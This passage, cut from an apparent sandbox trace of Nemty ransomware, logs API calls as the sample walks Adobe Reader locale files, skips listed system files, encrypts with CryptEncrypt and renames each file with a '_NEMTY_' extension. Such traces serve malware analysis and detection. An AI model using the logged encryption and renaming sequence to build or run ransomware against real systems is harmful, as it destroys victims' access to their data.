pszString="pLzagrA+bM0i6wxG6Ek32XsImiC1Jkf+ks9L3WBkDUvlkN8LZluL0wdSdg0qRnYr\r\ntv5xW4p11FnDI/PYBNQly6Ronq94yn5nwfobhSpNtsZYkBLGoMbHY5Jx9weX2BtM\r\nvWWQsUsL++14L8K58kGiEVEiDz9MTyFzfxVZvMj+OPll2xDfmS1QMbB8yETzMzvQ\r\n1nPZ8YroJMIRPZqhh8Zwf8sAXoXyjgb60LCy94PfeA4F+mALS4xoa2Y0PYzihokX\r\nzytHqc/bdO3+92P0YV62iscl7P6POEIkicD+IfrCyZ+zIW3U141Gzk3UWACDWwmF\r\n2QLS+2W4GAdEystmMRrnSA==\r\n", pcchString=0x653e5dc) returned 1 [0179.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0179.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.851] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.851] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=482304) returned 1 [0179.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.851] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.851] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.860] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.860] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.861] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=482304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x75c00 [0179.861] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.862] CloseHandle (hObject=0x2e8) returned 1 [0179.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0179.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0179.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.862] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\Annots.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\annots.nor._nemty_kgobjgd_")) returned 1 [0179.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0179.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0179.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.863] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0179.864] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.NOR", cAlternateFileName="BRDLAN~1.NOR")) returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2=".") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="..") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="...") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="windows") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="rsa") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="NTDETECT.COM") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="ntldr") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="MSDOS.SYS") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="IO.SYS") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="boot.ini") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="boot.ini") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="ntuser.dat") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="desktop.ini") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="CONFIG.SYS") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="RECYCLER") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="bootmgr") returned 1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="programdata") returned -1 [0179.864] lstrcmpiW (lpString1="BRdlang32.NOR", lpString2="appdata") returned 1 [0179.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NOR", lpUsedDefaultChar=0x0) returned 13 [0179.864] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.864] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NOR", lpUsedDefaultChar=0x0) returned 13 [0179.864] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NOR", lpUsedDefaultChar=0x0) returned 13 [0179.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0179.865] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.NOR", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.NOR", lpUsedDefaultChar=0x0) returned 13 [0179.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.865] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.865] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.865] Sleep (dwMilliseconds=0x5) [0179.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1edaf270, dwHighDateTime=0x1d561e8)) [0179.866] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1edaf270, dwHighDateTime=0x1d561e8)) [0179.866] GetLastError () returned 0x0 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.866] GetLastError () returned 0x0 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.866] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.866] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.866] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.866] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6pY0bN6z5P3VwJump/dqVRpttUbcG27BbVIvFUBdV5pSbne0byVlsec2cyVdnqd9\r\ne6IGDNks6PQVnw2NH6BocqtlYMBQkfvn7PlXuU95GByaOErwCKd5I7PmzVZmoPlf\r\nwiufYNoZKxE+4FvYF7bmaFDuM7/anO2hO8dqQ/OJuNMQEky/Hpr/IcOWkJFLboym\r\nhhS4LbzRFntV50y31mr32b5q9qXSqhmfueUPhoTyFjzIuiyBc9K1zoLfLThwwWCB\r\n/aYwxZ+0p0X/ZM/pwTjBglyc+WDvw6M/URCNAlkm2yHXI7fo0MWwmofvIDHCod6w\r\nm/n3C+4ZNNux29s9/NnaLw==\r\n", pcchString=0x653e5dc) returned 1 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.866] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\BRdlang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\brdlang32.nor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.870] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=12800) returned 1 [0179.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3200) returned 0x6352c48 [0179.870] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.870] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x3200, lpOverlapped=0x0) returned 1 [0179.872] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.872] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x3200, lpOverlapped=0x0) returned 1 [0179.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.872] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=12800, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3200 [0179.872] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.872] CloseHandle (hObject=0x2e8) returned 1 [0179.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.872] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.873] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\BRdlang32.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\brdlang32.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\BRdlang32.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\brdlang32.nor._nemty_kgobjgd_")) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.873] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.873] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d20ee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Checkers.NOR", cAlternateFileName="")) returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2=".") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="..") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="...") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="windows") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="$RECYCLE.BIN") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="rsa") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="NTDETECT.COM") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="ntldr") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="MSDOS.SYS") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="IO.SYS") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="boot.ini") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="boot.ini") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="AUTOEXEC.BAT") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="ntuser.dat") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="desktop.ini") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="CONFIG.SYS") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="RECYCLER") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="BOOTSECT.BAK") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="bootmgr") returned 1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="programdata") returned -1 [0179.874] lstrcmpiW (lpString1="Checkers.NOR", lpString2="appdata") returned 1 [0179.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.874] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.874] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.874] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.875] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.NOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.NOR", lpUsedDefaultChar=0x0) returned 12 [0179.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.875] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.875] Sleep (dwMilliseconds=0x5) [0179.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1edd53d0, dwHighDateTime=0x1d561e8)) [0179.881] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1edd53d0, dwHighDateTime=0x1d561e8)) [0179.881] GetLastError () returned 0x0 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.882] GetLastError () returned 0x0 [0179.882] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.882] HeapFree (in: hHeap=0x4f90000, 